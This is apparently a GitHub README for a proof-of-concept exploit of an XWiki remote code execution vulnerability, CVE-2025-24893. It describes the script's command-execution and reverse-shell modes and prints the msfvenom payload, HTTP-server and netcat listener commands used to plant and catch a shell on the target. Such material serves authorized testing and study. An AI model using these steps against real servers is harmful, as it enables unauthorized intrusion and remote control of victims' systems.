CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Description

PoC exploits CVE-2025-24893 , a remote code execution (RCE) vulnerability in XWiki caused by improper sandboxing in Groovy macros rendered asynchronously. It allows arbitrary command execution through injection into RSS-based SolrSearch endpoints.

Readme

# XWiki CVE-2025-24893 Proof of Concept

**Authors**: [Net.Doge](https://github.com/Net-Doge) & [Infinit3i](https://https://github.com/Infinit3i)

---

<div align="center">
  <img src="https://github.com/Infinit3i/CVE-2025-24893/blob/253b376ff3575ce19a4fb7062916981712f79cfe/XWiki-CVE-2025-24893.png" alt="CVE-2025-24893 Picture" width="400">
</div>

<p align="center">
  <br><br>
    <a title="Hits" target="_blank" href="https://github.com/infinit3i/CVE-2025-24893"><img src="https://hits.b3log.org/infinit3i/CVE-2025-24893.svg"></a>
    <a title="Twitter" target="_blank" href="https://x.com/infinit3i"><img alt="Twitter Follow" src="https://img.shields.io/twitter/follow/b3logos?label=Follow&style=social"></a>
</p>

---

This Python script exploits **CVE-2025-24893**, a remote code execution (RCE) vulnerability in [XWiki](https://www.xwiki.org/) caused by improper sandboxing in Groovy macros rendered asynchronously. It allows arbitrary command execution through injection into RSS-based SolrSearch endpoints.

## 📌 Features

- Single command execution via Groovy injection
- Automatic reverse shell payload generation (with `msfvenom`)
- Option to customize:
  - Remote target
  - Local IP address
  - HTTP server port
  - Reverse shell beacon port
- Clean bash payload previews
- ANSI color-coded interactive TUI

## 🚀 Usage

1. Clone or download the script.

2. Make sure you have the following installed:
   - `msfvenom` from Metasploit
   - Python 3
   - `jq` (used in the bash payloads)

3. Run the script:
```bash
python3 CVE-2025-24893-PoC.py
```

4. Select from the menu:

   * **Run Command** – Execute any shell command remotely.
   * **Reverse Shell** – Generate and deploy an ELF reverse shell to the target.
   * **Change Settings** – Modify LHOST, RHOST, server port, or beacon port.

## 🧪 Reverse Shell Workflow

1. Payload is generated:

 ```bash
 msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<beacon_port> -f elf -o rev
 ```

2. You are prompted to start a Python HTTP server and netcat listener:

 ```bash
 python3 -m http.server 8080
 nc -lvnp 31337
 ```

3. The script sends the following sequence to the target:

   * Download payload
   * Make it executable
   * Execute the binary

## ⚠️ Disclaimer

This tool is for **educational and authorized testing purposes only**. Unauthorized use against systems you do not own or have explicit permission to test is **illegal** and unethical.

## 📄 Reference

* [XWiki](https://www.xwiki.org/)
* [MITRE CVE-2025-24893](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-24893)

File Snapshot

Remarks